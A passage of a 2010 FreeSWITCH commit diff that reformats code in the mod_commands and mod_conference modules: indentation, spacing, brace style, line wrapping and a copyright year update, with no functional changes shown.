- switch_safe_free(mycmd);
+
+ switch_safe_free(mycmd);
stream->write_function(stream, "+OK\n");
return SWITCH_STATUS_SUCCESS;
-
- error:
+
+ error:
switch_safe_free(mycmd);
stream->write_function(stream, "-ERR Usage: uuid_session_heartbeat %s", HEARTBEAT_SYNTAX);
return SWITCH_STATUS_SUCCESS;
@@ -3551,7 +3550,7 @@
char *var_value = NULL;
if (argc == 3) {
- var_value = argv[2];
+ var_value = argv[2];
}
if ((psession = switch_core_session_locate(uuid))) {
@@ -3600,10 +3599,10 @@
if ((psession = switch_core_session_locate(uuid))) {
switch_channel_t *channel = switch_core_session_get_channel(psession);
- int x, y = 0;
+ int x, y = 0;
argc = switch_separate_string(vars, ';', argv, (sizeof(argv) / sizeof(argv[0])));
- for (x = 0 ; x < argc; x++) {
+ for (x = 0; x < argc; x++) {
var_name = argv[x];
if (var_name && (var_value = strchr(var_name, '='))) {
*var_value++ = '\0';
@@ -3616,7 +3615,7 @@
y++;
}
}
-
+
switch_core_session_rwunlock(psession);
if (y) {
stream->write_function(stream, "+OK\n");
@@ -3626,7 +3625,7 @@
stream->write_function(stream, "-ERR No Such Channel!\n");
}
}
-
+
stream->write_function(stream, "-USAGE: %s\n", SETVAR_MULTI_SYNTAX);
done:
@@ -3729,10 +3728,10 @@
switch_core_session_send_dtmf_string(psession, (const char *) dtmf_data);
goto done;
-usage:
+ usage:
stream->write_function(stream, "-USAGE: %s\n", UUID_SEND_DTMF_SYNTAX);
-done:
+ done:
if (psession) {
switch_core_session_rwunlock(psession);
}
@@ -3777,10 +3776,10 @@
switch_channel_queue_dtmf_string(switch_core_session_get_channel(psession), dtmf_data);
goto done;
-usage:
+ usage:
stream->write_function(stream, "-USAGE: %s\n", UUID_RECV_DTMF_SYNTAX);
-done:
+ done:
if (psession) {
switch_core_session_rwunlock(psession);
}
@@ -3896,34 +3895,34 @@
#define SYSTEM_SYNTAX "<command>"
SWITCH_STANDARD_API(system_function)
{
- if (zstr(cmd)) {
- stream->write_function(stream, "-USAGE: %s\n", SYSTEM_SYNTAX);
- return SWITCH_STATUS_SUCCESS;
- }
+ if (zstr(cmd)) {
+ stream->write_function(stream, "-USAGE: %s\n", SYSTEM_SYNTAX);
+ return SWITCH_STATUS_SUCCESS;
+ }
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Executing command: %s\n", cmd);
- if (switch_system(cmd, SWITCH_TRUE) < 0) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Failed to execute command: %s\n", cmd);
- }
- stream->write_function(stream, "+OK\n");
- return SWITCH_STATUS_SUCCESS;
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Executing command: %s\n", cmd);
+ if (switch_system(cmd, SWITCH_TRUE) < 0) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Failed to execute command: %s\n", cmd);
+ }
+ stream->write_function(stream, "+OK\n");
+ return SWITCH_STATUS_SUCCESS;
}
#define SYSTEM_SYNTAX "<command>"
SWITCH_STANDARD_API(bg_system_function)
{
- if (zstr(cmd)) {
- stream->write_function(stream, "-USAGE: %s\n", SYSTEM_SYNTAX);
- return SWITCH_STATUS_SUCCESS;
- }
+ if (zstr(cmd)) {
+ stream->write_function(stream, "-USAGE: %s\n", SYSTEM_SYNTAX);
+ return SWITCH_STATUS_SUCCESS;
+ }
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Executing command: %s\n", cmd);
- if (switch_system(cmd, SWITCH_FALSE) < 0) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Failed to execute command: %s\n", cmd);
- }
- stream->write_function(stream, "+OK\n");
- return SWITCH_STATUS_SUCCESS;
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Executing command: %s\n", cmd);
+ if (switch_system(cmd, SWITCH_FALSE) < 0) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Failed to execute command: %s\n", cmd);
+ }
+ stream->write_function(stream, "+OK\n");
+ return SWITCH_STATUS_SUCCESS;
}
SWITCH_STANDARD_API(strftime_tz_api_function)
@@ -3939,13 +3938,13 @@
*format++ = '\0';
}
}
-
- if (switch_strftime_tz(tz_name, format, date, sizeof(date), 0) == SWITCH_STATUS_SUCCESS) { /* The lookup of the zone may fail. */
+
+ if (switch_strftime_tz(tz_name, format, date, sizeof(date), 0) == SWITCH_STATUS_SUCCESS) { /* The lookup of the zone may fail. */
stream->write_function(stream, "%s", date);
} else {
stream->write_function(stream, "-ERR Invalid Timezone\n");
}
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -3976,13 +3975,13 @@
} else {
switch_core_session_hupall_matching_var(var, val, cause);
}
-
+
if (zstr(var)) {
stream->write_function(stream, "+OK hangup all channels with cause %s\n", switch_channel_cause2str(cause));
} else {
stream->write_function(stream, "+OK hangup all channels matching [%s]=[%s] with cause: %s\n", var, val, switch_channel_cause2str(cause));
}
-
+
switch_safe_free(mycmd);
return SWITCH_STATUS_SUCCESS;
}
@@ -3991,16 +3990,16 @@
{
int len;
char *mycmd;
-
+
if (zstr(cmd)) {
return SWITCH_STATUS_SUCCESS;
}
-
- len = strlen(cmd)*2;
+
+ len = strlen(cmd) * 2;
mycmd = malloc(len);
-
+
stream->write_function(stream, "%s", switch_escape_string(cmd, mycmd, len));
-
+
switch_safe_free(mycmd);
return SWITCH_STATUS_SUCCESS;
}
@@ -4024,14 +4023,12 @@
if (level == SWITCH_LOG_INVALID) {
stream->write_function(stream, "-ERR Invalid log level!\n");
- }
- else if ((tsession = switch_core_session_locate(uuid))) {
+ } else if ((tsession = switch_core_session_locate(uuid))) {
switch_core_session_set_loglevel(tsession, level);
stream->write_function(stream, "+OK\n");
switch_core_session_rwunlock(tsession);
- }
- else {
+ } else {
stream->write_function(stream, "-ERR No Such Channel %s!\n", uuid);
}
}
@@ -4123,7 +4120,8 @@
SWITCH_ADD_API(commands_api_interface, "reload", "Reload Module", reload_function, UNLOAD_SYNTAX);
SWITCH_ADD_API(commands_api_interface, "reloadxml", "Reload XML", reload_xml_function, "");
SWITCH_ADD_API(commands_api_interface, "sched_api", "Schedule an api command", sched_api_function, SCHED_SYNTAX);
- SWITCH_ADD_API(commands_api_interface, "sched_broadcast", "Schedule a broadcast event to a running call", sched_broadcast_function, SCHED_BROADCAST_SYNTAX);
+ SWITCH_ADD_API(commands_api_interface, "sched_broadcast", "Schedule a broadcast event to a running call", sched_broadcast_function,
+ SCHED_BROADCAST_SYNTAX);
SWITCH_ADD_API(commands_api_interface, "sched_del", "Delete a Scheduled task", sched_del_function, "<task_id>|<group_id>");
SWITCH_ADD_API(commands_api_interface, "sched_hangup", "Schedule a running call to hangup", sched_hangup_function, SCHED_HANGUP_SYNTAX);
SWITCH_ADD_API(commands_api_interface, "sched_transfer", "Schedule a transfer for a running call", sched_transfer_function, SCHED_TRANSFER_SYNTAX);
@@ -4204,8 +4202,8 @@
switch_console_set_complete("add fsctl shutdown restart asap");
switch_console_set_complete("add fsctl shutdown restart elegant");
switch_console_set_complete("add fsctl sps");
- switch_console_set_complete("add fsctl sync_clock");
- switch_console_set_complete("add fsctl flush_db_handles");
+ switch_console_set_complete("add fsctl sync_clock");
+ switch_console_set_complete("add fsctl flush_db_handles");
switch_console_set_complete("add nat_map reinit");
switch_console_set_complete("add nat_map republish");
switch_console_set_complete("add nat_map status");
Modified: freeswitch/trunk/src/mod/applications/mod_conference/mod_conference.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_conference/mod_conference.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_conference/mod_conference.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -42,7 +42,7 @@
static const char global_app_name[] = "conference";
static char *global_cf_name = "conference.conf";
-static char *cf_pin_url_param_name ="X-ConfPin=";
+static char *cf_pin_url_param_name = "X-ConfPin=";
static char *api_syntax;
static int EC = 0;
@@ -406,12 +406,13 @@
static void launch_conference_thread(conference_obj_t *conference);
static void launch_conference_video_thread(conference_obj_t *conference);
static void *SWITCH_THREAD_FUNC conference_loop_input(switch_thread_t *thread, void *obj);
-static switch_status_t conference_local_play_file(conference_obj_t *conference, switch_core_session_t *session, char *path, uint32_t leadin, void *buf, uint32_t buflen);
+static switch_status_t conference_local_play_file(conference_obj_t *conference, switch_core_session_t *session, char *path, uint32_t leadin, void *buf,
+ uint32_t buflen);
static switch_status_t conference_member_play_file(conference_member_t *member, char *file, uint32_t leadin);
static switch_status_t conference_member_say(conference_member_t *member, char *text, uint32_t leadin);
static uint32_t conference_member_stop_file(conference_member_t *member, file_stop_t stop);
static conference_obj_t *conference_new(char *name, conf_xml_cfg_t cfg, switch_memory_pool_t *pool);
-static switch_status_t chat_send(const char *proto, const char *from, const char *to, const char *subject,
+static switch_status_t chat_send(const char *proto, const char *from, const char *to, const char *subject,
const char *body, const char *type, const char *hint);
static void launch_conference_record_thread(conference_obj_t *conference, char *path);
@@ -459,13 +460,13 @@
if (member->session) {
switch_channel_t *channel = switch_core_session_get_channel(member->session);
-
+
if (member->verbose_events) {
switch_channel_event_set_data(channel, event);
} else {
switch_channel_event_set_basic_data(channel, event);
}
-
+
}
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Member-ID", "%u", member->id);
@@ -678,7 +679,7 @@
conference_stop_file(conference, FILE_STOP_ASYNC);
}
if (conference->enter_sound) {
- conference_play_file(conference, conference->enter_sound, CONF_DEFAULT_LEADIN, switch_core_session_get_channel(member->session),
+ conference_play_file(conference, conference->enter_sound, CONF_DEFAULT_LEADIN, switch_core_session_get_channel(member->session),
switch_test_flag(conference, CFLAG_WAIT_MOD) ? 0 : 1);
}
}
@@ -701,7 +702,8 @@
if (!switch_test_flag(conference, CFLAG_BRIDGE_TO)) {
if (conference->alone_sound) {
conference_stop_file(conference, FILE_STOP_ASYNC);
- conference_play_file(conference, conference->alone_sound, CONF_DEFAULT_LEADIN, switch_core_session_get_channel(member->session), 1);
+ conference_play_file(conference, conference->alone_sound, CONF_DEFAULT_LEADIN,
+ switch_core_session_get_channel(member->session), 1);
} else {
switch_snprintf(msg, sizeof(msg), "You are currently the only person in this conference.");
conference_member_say(member, msg, CONF_DEFAULT_LEADIN);
@@ -911,7 +913,7 @@
req_iframe = 0;
goto do_continue;
}
-
+
if (conference->floor_holder->id != last_member) {
int iframe = 0;
#if 0
@@ -929,13 +931,13 @@
if (vid_frame->codec->implementation->ianacode == 34) { /* h.263 */
//iframe = (*((int16_t *) vid_frame->data) >> 12 == 6);
- iframe = 1;
+ iframe = 1;
} else if (vid_frame->codec->implementation->ianacode == 115) { /* h.263-1998 */
int y = *((int8_t *) vid_frame->data + 2) & 0xfe;
iframe = (y == 0x80 || y == 0x82);
} else if (vid_frame->codec->implementation->ianacode == 99) { /* h.264 */
iframe = (*((int16_t *) vid_frame->data) >> 5 == 0x11);
- } else { /* we need more defs */
+ } else { /* we need more defs */
iframe = 1;
}
@@ -943,7 +945,7 @@
goto do_continue;
}
- req_iframe = 0;
+ req_iframe = 0;
}
last_member = conference->floor_holder->id;
@@ -958,8 +960,8 @@
}
}
- do_continue:
-
+ do_continue:
+
switch_mutex_unlock(conference->member_mutex);
}
@@ -1000,13 +1002,13 @@
switch_mutex_unlock(globals.hash_mutex);
conference->is_recording = 0;
-
+
while (globals.running && !switch_test_flag(conference, CFLAG_DESTRUCT)) {
switch_size_t file_sample_len = samples;
switch_size_t file_data_len = samples * 2;
int has_file_data = 0, members_with_video = 0;
- if (conference->perpetual_sound && !conference->async_fnode) {
+ if (conference->perpetual_sound && !conference->async_fnode) {
conference_play_file(conference, conference->perpetual_sound, CONF_DEFAULT_LEADIN, NULL, 1);
} else if (conference->moh_sound && (conference->count == 1 || switch_test_flag(conference, CFLAG_WAIT_MOD)) && !conference->async_fnode) {
conference_play_file(conference, conference->moh_sound, CONF_DEFAULT_LEADIN, NULL, 1);
@@ -1044,12 +1046,12 @@
}
/* Start recording if there's more than one participant. */
- if (ready > 1 && conference->auto_record && !conference->is_recording){
+ if (ready > 1 && conference->auto_record && !conference->is_recording) {
conference->is_recording = 1;
imember = conference->members;
if (imember) {
switch_channel_t *channel = switch_core_session_get_channel(imember->session);
- char *rfile = switch_channel_expand_variables(channel, conference->auto_record);
+ char *rfile = switch_channel_expand_variables(channel, conference->auto_record);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Auto recording file: %s\n", rfile);
launch_conference_record_thread(conference, rfile);
if (rfile != conference->auto_record) {
@@ -1186,7 +1188,7 @@
check if our audio is involved and if so, subtract it from the sample so we don't hear ourselves.
Since main frame was 32 bit int, we did not lose any detail, now that we have to convert to 16 bit we can
cut it off at the min and max range if need be and write the frame to the output buffer.
- */
+ */
for (omember = conference->members; omember; omember = omember->next) {
switch_size_t ok = 1;
@@ -1194,7 +1196,7 @@
continue;
}
- if (!switch_test_flag(omember, MFLAG_CAN_HEAR) && !switch_test_flag(omember, MFLAG_WASTE_BANDWIDTH)
+ if (!switch_test_flag(omember, MFLAG_CAN_HEAR) && !switch_test_flag(omember, MFLAG_WASTE_BANDWIDTH)
&& !switch_test_flag(conference, CFLAG_WASTE_BANDWIDTH)) {
continue;
}
@@ -1206,10 +1208,10 @@
if (switch_test_flag(omember, MFLAG_HAS_AUDIO) && x <= omember->read / 2) {
z -= (int32_t) bptr[x];
}
-
+
/* when there are relationships, we have to do more work by scouring all the members to see if there are any
reasons why we should not be hearing a paticular member, and if not, delete their samples as well.
- */
+ */
if (conference->relationship_total) {
for (imember = conference->members; imember; imember = imember->next) {
conference_relationship_t *rel;
@@ -1228,15 +1230,15 @@
}
}
- /* Now we can convert to 16 bit.*/
+ /* Now we can convert to 16 bit. */
switch_normalize_to_16bit(z);
write_frame[x] = (int16_t) z;
}
-
+
switch_mutex_lock(omember->audio_out_mutex);
ok = switch_buffer_write(omember->mux_buffer, write_frame, bytes);
switch_mutex_unlock(omember->audio_out_mutex);
-
+
if (!ok) {
goto end;
}
@@ -1270,7 +1272,7 @@
switch_mutex_unlock(conference->mutex);
}
/* Rinse ... Repeat */
- end:
+ end:
if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", CONF_CHAT_PROTO);
@@ -1427,7 +1429,7 @@
}
switch_set_flag_locked(member->conference, CFLAG_LOCKED);
- if (test_eflag(member->conference, EFLAG_LOCK) &&
+ if (test_eflag(member->conference, EFLAG_LOCK) &&
switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
conference_add_event_data(member->conference, event);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "lock");
@@ -1439,7 +1441,7 @@
}
switch_clear_flag_locked(member->conference, CFLAG_LOCKED);
- if (test_eflag(member->conference, EFLAG_UNLOCK) &&
+ if (test_eflag(member->conference, EFLAG_UNLOCK) &&
switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
conference_add_event_data(member->conference, event);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "unlock");
@@ -1715,7 +1717,7 @@
int argc;
char *mydata = NULL;
switch_event_t *event;
-
+
if (test_eflag(member->conference, EFLAG_DTMF) && switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
conference_add_event_member_data(member, event);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "transfer");
@@ -1723,7 +1725,7 @@
switch_event_fire(&event);
}
switch_clear_flag_locked(member, MFLAG_RUNNING);
-
+
if ((mydata = switch_core_session_strdup(member->session, action->data))) {
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
if (argc > 0) {
@@ -1735,7 +1737,7 @@
if (argc > 2) {
context = argv[2];
}
-
+
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_ERROR, "Empty transfer string [%s]\n", (char *) action->data);
goto done;
@@ -1745,11 +1747,10 @@
goto done;
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_DEBUG, "Transfering to: %s, %s, %s\n", exten, dialplan, context);
-
- switch_ivr_session_transfer(member->session,
- exten, dialplan, context);
-
-done:
+
+ switch_ivr_session_transfer(member->session, exten, dialplan, context);
+
+ done:
return;
}
@@ -1763,14 +1764,14 @@
char *mydata = NULL;
switch_event_t *event = NULL;
switch_channel_t *channel = NULL;
-
+
if (test_eflag(member->conference, EFLAG_DTMF) && switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
conference_add_event_member_data(member, event);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "execute_app");
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Application", action->data);
switch_event_fire(&event);
}
-
+
if ((mydata = switch_core_session_strdup(member->session, action->data))) {
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
if (argc > 0) {
@@ -1779,7 +1780,7 @@
if (argc > 1) {
arg = argv[1];
}
-
+
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_ERROR, "Empty execute app string [%s]\n", (char *) action->data);
goto done;
@@ -1796,13 +1797,13 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_DEBUG, "Execute app: %s, %s\n", app, arg);
channel = switch_core_session_get_channel(member->session);
-
+
switch_channel_set_app_flag(channel, CF_APP_TAGGED);
switch_core_session_set_read_codec(member->session, NULL);
switch_core_session_execute_application(member->session, app, arg);
- switch_core_session_set_read_codec(member->session, &member->read_codec);
- switch_channel_clear_app_flag(channel, CF_APP_TAGGED);
-done:
+ switch_core_session_set_read_codec(member->session, &member->read_codec);
+ switch_channel_clear_app_flag(channel, CF_APP_TAGGED);
+ done:
return;
}
@@ -1819,7 +1820,7 @@
switch_status_t status;
switch_frame_t *read_frame = NULL;
uint32_t hangover = 40, hangunder = 15, hangover_hits = 0, hangunder_hits = 0, energy_level = 0, diff_level = 400;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
switch_core_session_t *session = member->session;
switch_assert(member != NULL);
@@ -1868,7 +1869,7 @@
}
}
}
-
+
goto do_continue;
}
@@ -1897,7 +1898,7 @@
member->score = energy / (samples / divisor);
}
- member->score_iir = (int)(((1.0 - SCORE_DECAY) * (float)member->score) + (SCORE_DECAY * (float)member->score_iir));
+ member->score_iir = (int) (((1.0 - SCORE_DECAY) * (float) member->score) + (SCORE_DECAY * (float) member->score_iir));
if (member->score_iir > SCORE_MAX_IIR) {
member->score_iir = SCORE_MAX_IIR;
@@ -1933,14 +1934,14 @@
member->conference->floor_holder = member;
}
switch_mutex_unlock(member->conference->member_mutex);
-
+
if (test_eflag(member->conference, EFLAG_START_TALKING) && switch_test_flag(member, MFLAG_CAN_SPEAK) &&
switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
conference_add_event_member_data(member, event);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "start-talking");
switch_event_fire(&event);
}
-
+
if (switch_test_flag(member, MFLAG_MUTE_DETECT) && !switch_test_flag(member, MFLAG_CAN_SPEAK)) {
if (!zstr(member->conference->mute_detect_sound)) {
@@ -1955,7 +1956,7 @@
}
}
-
+
}
}
} else {
@@ -1980,12 +1981,12 @@
}
/* skip frames that are not actual media or when we are muted or silent */
- if ((switch_test_flag(member, MFLAG_TALKING) || energy_level == 0) && switch_test_flag(member, MFLAG_CAN_SPEAK) &&
+ if ((switch_test_flag(member, MFLAG_TALKING) || energy_level == 0) && switch_test_flag(member, MFLAG_CAN_SPEAK) &&
!switch_test_flag(member->conference, CFLAG_WAIT_MOD)) {
switch_audio_resampler_t *read_resampler = member->read_resampler;
void *data;
uint32_t datalen;
-
+
if (read_resampler) {
int16_t *bptr = (int16_t *) read_frame->data;
int len = (int) read_frame->datalen;
@@ -2019,7 +2020,7 @@
}
}
- do_continue:
+ do_continue:
switch_mutex_unlock(member->read_mutex);
}
@@ -2035,7 +2036,7 @@
static void member_add_file_data(conference_member_t *member, int16_t *data, switch_size_t file_data_len)
{
switch_size_t file_sample_len = file_data_len / 2;
- int16_t file_frame[SWITCH_RECOMMENDED_BUFFER_SIZE/2] = {0};
+ int16_t file_frame[SWITCH_RECOMMENDED_BUFFER_SIZE / 2] = { 0 };
if (!member->fnode) {
return;
@@ -2063,7 +2064,7 @@
} else {
if (member->fnode->type == NODE_TYPE_SPEECH) {
switch_speech_flag_t flags = SWITCH_SPEECH_FLAG_BLOCKING;
-
+
if (switch_core_speech_read_tts(member->fnode->sh, file_frame, &file_data_len, &flags) == SWITCH_STATUS_SUCCESS) {
file_sample_len = file_data_len / 2;
} else {
@@ -2077,7 +2078,7 @@
if (file_sample_len <= 0) {
switch_event_t *event;
member->fnode->done++;
-
+
if (test_eflag(member->conference, EFLAG_PLAY_FILE) &&
switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
conference_add_event_data(member->conference, event);
@@ -2086,20 +2087,20 @@
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "File", member->fnode->file);
switch_event_fire(&event);
}
- } else { /* there is file node data to mix into the frame */
+ } else { /* there is file node data to mix into the frame */
int32_t i, sample;
-
+
/* Check for output volume adjustments */
if (member->volume_out_level) {
switch_change_sln_volume(file_frame, file_sample_len, member->volume_out_level);
}
-
- for(i = 0; i < file_sample_len; i++) {
+
+ for (i = 0; i < file_sample_len; i++) {
sample = data[i] + file_frame[i];
switch_normalize_to_16bit(sample);
data[i] = sample;
}
-
+
}
}
}
@@ -2162,14 +2163,14 @@
uint32_t low_count, bytes;
call_list_t *call_list, *cp;
int restarting = -1;
- switch_codec_implementation_t read_impl = {0};
-
- top:
+ switch_codec_implementation_t read_impl = { 0 };
+ top:
+
switch_core_session_get_read_impl(member->session, &read_impl);
restarting++;
-
+
if (switch_test_flag(member, MFLAG_RESTART)) {
switch_clear_flag(member, MFLAG_RESTART);
switch_set_flag_locked(member, MFLAG_FLUSH_BUFFER);
@@ -2215,11 +2216,12 @@
if (!restarting) {
/* Start the input thread */
launch_conference_loop_input(member, switch_core_session_get_pool(member->session));
-
+
/* build a digit stream object */
if (member->conference->dtmf_parser != NULL
&& switch_ivr_digit_stream_new(member->conference->dtmf_parser, &member->digit_stream) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_ERROR, "Danger Will Robinson, there is no digit parser stream object\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_ERROR,
+ "Danger Will Robinson, there is no digit parser stream object\n");
}
if ((call_list = switch_channel_get_private(channel, "_conference_autocall_list_"))) {
@@ -2230,7 +2232,7 @@
const char *ann = switch_channel_get_variable(channel, "conference_auto_outcall_announce");
const char *prefix = switch_channel_get_variable(channel, "conference_auto_outcall_prefix");
int to = 60;
-
+
if (ann) {
member->conference->special_announce = switch_core_strdup(member->conference->pool, ann);
}
@@ -2311,7 +2313,8 @@
if (switch_channel_test_flag(channel, CF_OUTBOUND)) {
/* test to see if outbound channel has answered */
if (switch_channel_test_flag(channel, CF_ANSWERED) && !switch_test_flag(member->conference, CFLAG_ANSWERED)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_DEBUG, "Outbound conference channel answered, setting CFLAG_ANSWERED\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_DEBUG,
+ "Outbound conference channel answered, setting CFLAG_ANSWERED\n");
switch_set_flag(member->conference, CFLAG_ANSWERED);
}
} else {
@@ -2351,8 +2354,7 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session),
SWITCH_LOG_INFO,
"executing caller control '%s' param '%s' on call '%u, %s\n",
- caller_action->fndesc->key,
- param ? param : "none", member->id, switch_channel_get_name(channel));
+ caller_action->fndesc->key, param ? param : "none", member->id, switch_channel_get_name(channel));
#endif
caller_action->fndesc->handler(member, caller_action);
@@ -2361,7 +2363,7 @@
caller_action = NULL;
}
-
+
use_buffer = NULL;
mux_used = (uint32_t) switch_buffer_inuse(member->mux_buffer);
@@ -2376,10 +2378,10 @@
switch_set_flag_locked(member, MFLAG_FLUSH_BUFFER);
}
}
-
+
use_timer = 1;
-
+
if (mux_used) {
/* Flush the output buffer and write all the data (presumably muxed) back to the channel */
switch_mutex_lock(member->audio_out_mutex);
@@ -2412,7 +2414,7 @@
} else if (!switch_test_flag(member->conference, CFLAG_WASTE_BANDWIDTH)) {
if (switch_test_flag(member, MFLAG_WASTE_BANDWIDTH)) {
if (member->conference->comfort_noise_level) {
- switch_generate_sln_silence(write_frame.data, samples, member->conference->comfort_noise_level);
+ switch_generate_sln_silence(write_frame.data, samples, member->conference->comfort_noise_level);
} else {
memset(write_frame.data, 255, bytes);
}
@@ -2420,7 +2422,7 @@
write_frame.datalen = bytes;
write_frame.samples = samples;
write_frame.timestamp = timer.samplecount;
-
+
switch_core_session_write_frame(member->session, &write_frame, SWITCH_IO_FLAG_NONE, 0);
}
}
@@ -2433,7 +2435,7 @@
}
switch_clear_flag_locked(member, MFLAG_FLUSH_BUFFER);
}
-
+
switch_mutex_unlock(member->write_mutex);
@@ -2446,14 +2448,14 @@
} else {
switch_ivr_parse_all_messages(member->session);
}
-
+
if (use_timer) {
switch_core_timer_next(&timer);
} else {
switch_cond_next();
}
- } /* Rinse ... Repeat */
+ } /* Rinse ... Repeat */
if (member->digit_stream != NULL) {
@@ -2544,7 +2546,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Joining Conference\n");
goto end;
}
-
+
fh.pre_buffer_datalen = SWITCH_DEFAULT_FILE_BUFFER_LEN;
if (switch_core_file_open(&fh,
@@ -2572,7 +2574,7 @@
while (switch_test_flag(member, MFLAG_RUNNING) && switch_test_flag(conference, CFLAG_RUNNING) && conference->count) {
switch_size_t len = 0;
mux_used = (uint32_t) switch_buffer_inuse(member->mux_buffer);
-
+
if (switch_test_flag(member, MFLAG_FLUSH_BUFFER)) {
if (mux_used) {
switch_mutex_lock(member->audio_out_mutex);
@@ -2595,13 +2597,13 @@
len = (switch_size_t) rlen / sizeof(int16_t);
}
switch_mutex_unlock(member->audio_out_mutex);
- }
-
+ }
+
if (len < (switch_size_t) samples) {
- memset(data_buf + (len * sizeof(int16_t)), 255, ((switch_size_t)samples - len) * sizeof(int16_t));
+ memset(data_buf + (len * sizeof(int16_t)), 255, ((switch_size_t) samples - len) * sizeof(int16_t));
len = (switch_size_t) samples;
}
-
+
if (!len || switch_core_file_write(&fh, data_buf, &len) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write Failed\n");
switch_clear_flag_locked(member, MFLAG_RUNNING);
@@ -2712,12 +2714,12 @@
for (imember = conference->members; imember; imember = imember->next) {
/* don't send to self */
if (imember->id == member->id) {
- continue;
+ continue;
}
if (imember->session) {
const char *p;
for (p = dtmf; p && *p; p++) {
- switch_dtmf_t digit = { *p, SWITCH_DEFAULT_DTMF_DURATION};
+ switch_dtmf_t digit = { *p, SWITCH_DEFAULT_DTMF_DURATION };
lock_member(imember);
switch_core_session_kill_channel(imember->session, SWITCH_SIG_BREAK);
switch_core_session_send_dtmf(imember->session, &digit);
@@ -3480,9 +3482,7 @@
stream->write_function(stream, "Conference %s (%u member%s rate: %u%s)\n",
conference->name,
conference->count,
- conference->count == 1 ? "" : "s",
- conference->rate,
- switch_test_flag(conference, CFLAG_LOCKED) ? " locked" : "");
+ conference->count == 1 ? "" : "s", conference->rate, switch_test_flag(conference, CFLAG_LOCKED) ? " locked" : "");
count++;
if (!summary) {
if (pretty) {
@@ -3520,7 +3520,7 @@
x_tag = switch_xml_add_child_d(x_member, name, off);
switch_assert(x_tag);
-
+
switch_zmalloc(data, dlen);
switch_url_encode(value, data, dlen);
@@ -3537,7 +3537,7 @@
char *ival = i;
switch_assert(conference != NULL);
switch_assert(x_conference != NULL);
-
+
switch_xml_set_attr_d(x_conference, "name", conference->name);
switch_snprintf(i, sizeof(i), "%d", conference->count);
switch_xml_set_attr_d(x_conference, "member-count", ival);
@@ -3547,7 +3547,7 @@
if (switch_test_flag(conference, CFLAG_LOCKED)) {
switch_xml_set_attr_d(x_conference, "locked", "true");
}
-
+
if (switch_test_flag(conference, CFLAG_DESTRUCT)) {
switch_xml_set_attr_d(x_conference, "destruct", "true");
}
@@ -3578,7 +3578,7 @@
x_members = switch_xml_add_child_d(x_conference, "members", 0);
switch_assert(x_members);
-
+
